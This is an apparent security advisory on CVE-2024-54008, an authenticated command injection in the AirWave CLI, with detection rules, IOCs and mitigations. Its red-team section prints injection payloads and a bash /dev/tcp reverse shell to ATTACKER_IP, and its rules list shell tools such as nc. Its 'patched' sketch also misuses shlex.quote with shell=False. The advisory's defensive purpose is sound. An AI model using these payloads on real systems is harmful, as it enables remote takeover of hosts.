CVE-2024-54008

Executive Summary

CVE-2024-54008 is an authenticated Remote Code Execution (RCE) vulnerability in the AirWave CLI component. A remote attacker with valid credentials can exploit this flaw to execute arbitrary commands as a privileged user on the underlying host. The vulnerability carries a CVSS score of 7.2 (High), indicating significant impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet issued a patch. The EPSS score is 0.0%, suggesting low exploitation activity in the wild, but the risk remains high for organizations using AirWave in production environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: High (PR:H) – Attacker must have valid credentials.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Exploit stays within the same security authority.
• Confidentiality Impact: High (C:H) – Full data compromise.
• Integrity Impact: High (I:H) – Full system control.
• Availability Impact: High (A:H) – Potential denial of service.

Threat Level: High. Although authentication is required, the impact is severe. Once authenticated, an attacker can fully compromise the host.

Deep Dive & Mechanics

The vulnerability resides in the AirWave CLI (Command Line Interface). The CLI likely fails to properly sanitize user-supplied input when processing commands, allowing an authenticated user to inject arbitrary operating system commands. This is a classic OS command injection flaw (CWE-78). The injected commands execute with the privileges of the AirWave service, which typically runs as a highly privileged user (e.g., root or SYSTEM). The attack surface is limited to authenticated users, but this could include internal staff, contractors, or attackers who have compromised a low-privilege account.

Attack Flow:

1. Attacker authenticates to the AirWave management interface (web or CLI).
2. Attacker sends a crafted command to the CLI endpoint that includes shell metacharacters (e.g., ;, |, &&, `).
3. The AirWave application passes the input to a system shell without proper escaping.
4. The injected command executes on the underlying host with elevated privileges.
5. Attacker gains full control of the host, can pivot laterally, exfiltrate data, or deploy malware.

Vulnerable vs. Patched Code

Since no patch is available, a generic example of the vulnerable pattern is provided.

Vulnerable Code (Python-like pseudocode):

import subprocess

def cli_execute(command):
    # Vulnerable: directly concatenates user input into shell command
    full_command = "airwave_cli " + command
    subprocess.call(full_command, shell=True)

Patched Code (Hypothetical fix):

import subprocess
import shlex

def cli_execute(command):
    # Patched: uses shlex.quote to escape shell metacharacters
    safe_command = shlex.quote(command)
    full_command = ["airwave_cli", safe_command]
    subprocess.call(full_command, shell=False)

The patched version avoids shell injection by using shell=False and properly quoting arguments.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid credentials for an AirWave account (e.g., admin or operator).
• Network access to the AirWave management interface (typically port 443 or 22 for CLI).

Exploitation Steps:

1. Authenticate to the AirWave CLI (e.g., via SSH or web-based console).
2. Identify a command that accepts user input (e.g., show config, ping, traceroute).
3. Inject a command separator and payload:

   show config ; whoami
   

   Or using backticks:

   show config `id`
   

4. Observe the output. If the injected command executes, the vulnerability is confirmed.
5. Escalate to a full reverse shell:

   show config ; bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'
   

Lab Setup:

• Deploy AirWave in a controlled environment (e.g., VMware or Docker).
• Create a low-privilege user account.
• Use a listener (e.g., nc -lvnp 4444) to catch the reverse shell.

Blue Team (Detection & Response)

Detection:

• Monitor CLI logs for unusual command patterns (e.g., semicolons, pipes, backticks).
• Alert on commands that spawn child processes (e.g., bash, sh, python, perl).
• Use endpoint detection and response (EDR) to detect shell execution from the AirWave process.

Response:

• Immediately revoke credentials of the compromised account.
• Isolate the affected host from the network.
• Collect forensic evidence (logs, memory dump, disk image).
• Apply temporary workarounds (e.g., restrict CLI access via firewall rules).

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections from AirWave host to unusual IPs/ports (e.g., 4444/tcp).
• CLI commands containing shell metacharacters (;, |, &&, `).

Host IOCs:

• Unexpected processes spawned by the AirWave service (e.g., bash, sh, nc, python).
• New user accounts or modified sudoers files.
• Unusual files in /tmp or /var/tmp (e.g., reverse shell scripts).
• Modified system binaries or libraries.

Log IOCs:

• AirWave CLI logs showing commands with injection patterns.
• System logs (e.g., /var/log/auth.log, /var/log/syslog) showing shell activity from the AirWave user.

Detection Engineering

YARA Rule

rule CVE_2024_54008_AirWave_RCE {
    meta:
        description = "Detects potential command injection in AirWave CLI logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54008"
    strings:
        $injection1 = /[;&|`$(){}]/
        $injection2 = /bash|sh|python|perl|nc|ncat/
        $airwave_cli = "airwave_cli"
    condition:
        $airwave_cli and (#injection1 > 2) and (#injection2 > 0)
}

Sigma Rule

title: CVE-2024-54008 AirWave CLI Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts in AirWave CLI logs
author: Valters IT
date: 2025-04-10
logsource:
    product: airwave
    service: cli
detection:
    selection:
        Command|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of semicolons in certain CLI commands (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54008 AirWave CLI Command Injection Outbound"; flow:to_server,established; content:"|3B|"; nocase; content:"bash"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict CLI Access: Limit CLI access to trusted IPs via firewall rules.
2. Enforce Strong Authentication: Use multi-factor authentication (MFA) for all AirWave accounts.
3. Monitor Logs: Enable detailed logging of all CLI commands and review for anomalies.
4. Apply Principle of Least Privilege: Reduce the number of users with CLI access.

Long-Term Fix:

• Await an official patch from AirWave. In the meantime, consider isolating the AirWave host from the internet and critical network segments.
• Implement input validation and output encoding in any custom scripts interacting with the AirWave CLI.

Workaround:

• If the CLI is not essential, disable it entirely or restrict it to read-only commands.

Valters IT